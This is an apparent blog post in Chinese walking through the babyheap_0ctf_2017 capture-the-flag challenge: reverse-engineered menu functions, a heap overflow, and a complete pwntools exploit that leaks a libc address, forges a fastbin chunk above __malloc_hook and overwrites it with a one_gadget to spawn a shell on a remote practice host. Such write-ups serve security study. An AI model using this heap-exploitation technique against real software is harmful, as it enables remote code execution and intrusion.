babyheap_0ctf_2017 | 堆利用技巧 解法详录

静态分析

checksec 查看保护机制:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

运行程序:

===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 

典型的菜单题,几个功能分别是分配、填充、释放和输出

拖入 IDA 64bit 分析,具体函数对应反汇编代码如下:

Allocate

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = readint();                       
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }

v2 是人为输入需要分配的 chunk 大小,基地址在 a1 的索引结构体存放 chunk 信息

struct chunk {
      long long is_used;
      long long size;
      long long *chunk_addr;
}

Fill

  printf("Index: ");
  result = readint();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = readint();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }

输入 chunk 的 index 并填充自定义长度的内容,存在堆溢出漏洞

Free

  printf("Index: ");
  result = readint();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }

释放堆块函数,输入 index 后判断了索引结构体的 is_used 是否为 1,若是则调用 free() 并清空结构体

Dump

  printf("Index: ");
  result = readint();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }

输出堆块的内容,考虑可以泄露堆空间上的一些东西

解题思路

  • 显式存在堆溢出漏洞,可以通过 chunk overlapping(堆块重叠) 构造出 fake chunk(伪堆块),绕过索引的清空

  • 构造 unsorted bin 大小的伪堆块 2,释放后利用其上方的伪堆块 1 输出其 fd 指针指向的 libc 相关地址,泄露 libc 地址

  • 在 libc 函数 __malloc_hook 上方构造 Fake Chunk,再次堆溢出覆写 hook 为 shellcode

EXP

from pwn import *
#io = process(['./babyheap_0ctf_2017'], env={"LD_PRELOAD":"./libc-2.23.so"})
io = remote('node3.buuoj.cn' ,'25071')
context.log_level = 'debug'
def debug():
    gdb.attach(io)
    pause();

def cmd(x):
    io.sendlineafter('Command: ', str(x))

def allocate(size):
    cmd(1)
    io.sendlineafter('Size: ', str(size))

def fill(index, content):
    cmd(2)
    io.sendlineafter('Index: ', str(index))
    io.sendlineafter('Size: ', str(len(content)))
    io.sendlineafter('Content: ',content)

def free(index):
    cmd(3)
    io.sendlineafter('Index: ',str(index))

def dump(index):
    cmd(4)
    io.sendlineafter('Index: ', str(index))

libc = ELF('./libc-2.23.so') 

allocate(0x10)
allocate(0x10)
allocate(0x30)
allocate(0x40)
allocate(0x60)
fill(0, p64(0x51)*4)
fill(2, p64(0x31)*6)
free(1)
allocate(0x40)
fill(1, p64(0x91)*4)
free(2)
dump(1)

io.recv(0x32)
main_arena = u64(io.recv(6).ljust(8, '\x00')) - 88
log.info('main_arena -> ' + hex(main_arena))
# cover __malloc_hook
malloc_hook = main_arena - 0x10
free(4)
payload = p64(0)*9 + p64(0x71) + p64(malloc_hook - 0x23)
# fake chunk3's pre_size is in ( malloc_hook - 0x23 )
log.info('fake chunk 3 -> ' + hex(malloc_hook - 0x23))
fill(3, payload)
allocate(0x60)
allocate(0x60)
libc_base = malloc_hook - libc.symbols['__malloc_hook']
# one_gadget ./libc-2.23.so
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
one_gadget = p64(libc_base + 0x4526a)
payload = 'a'*0x13 + one_gadget
fill(4, payload)
allocate(1)
io.interactive()

EXP 详细流程(图解)

(1)最后分配 0x70 的 chunk,是防止 Top Chunk 向前合并

由于 free() 会检查当前区块的 size 位后是否是一个区块的 size 位,所以结构要布置成这样

Top Chunk 合并 fastbin 规则

然后在下面分配 0x10、0x30、0x40、0x60 的堆块,情况如图:

(图中未填充数值的即为 0x0)

填充后伪造出了 Fake Chunk 1 (idx1),将其释放后从 fastbin 0x50 中取出再分配

(此时索引结构体中记录该 chunk 的 size 已经是 0x40)

(使用 calloc 分配 chunk 会首先把 content 清零)

之后继续在 Fake Chunk 1 即 idx 除写入溢出数据,使其覆盖 chunk2 的 size 位为 0x91,伪造出 0x90 大小的 Fake Chunk 2

由于 0x90 已经超过 global_max_fast,所以 Fake Chunk 2 不会进入 fastbin 而是进入 unsortedbin 并且 fd 指向 main_arena + 88 的位置

UAF获取main_arena+88地址泄露libc基址

虽然索引结构体中的 Fake Chunk 2 地址已经无法获取,

但是我们可以通过正在使用的 Fake Chunk 1 打印出 Chunk 2 的 fd

由于 main_arena 是 libc 装载在内存中的,或者其内存地址后,

我们可以通过计算偏移得到 libc 的装载地址

计算输出有效偏移需要动态调试:

接受了该地址后即可通过偏移计算出 main_arean 以及其他 libc 符号的装载地址

通过调试:malloc_hook = main_arena - 0x10

再往前找发现能在 malloc_hook - 0x23 的地方凑出 size = 0x70 的 chunk 头,size 位为 p64(0x7f)

以这里为 chunk 头,可以通过 malloc 的验证(详细验证方法需要查阅 glibc 源码)

并且下一步堆溢出可以覆写 __malloc_hook 成 one_gagdet

malloc hook初探

下一次 allcoate 的时候,将会执行 shellcode 从而 GETSHELL

posted @ 2020-11-09 19:32  暖暖草果  阅读(1905)  评论(0编辑  收藏  举报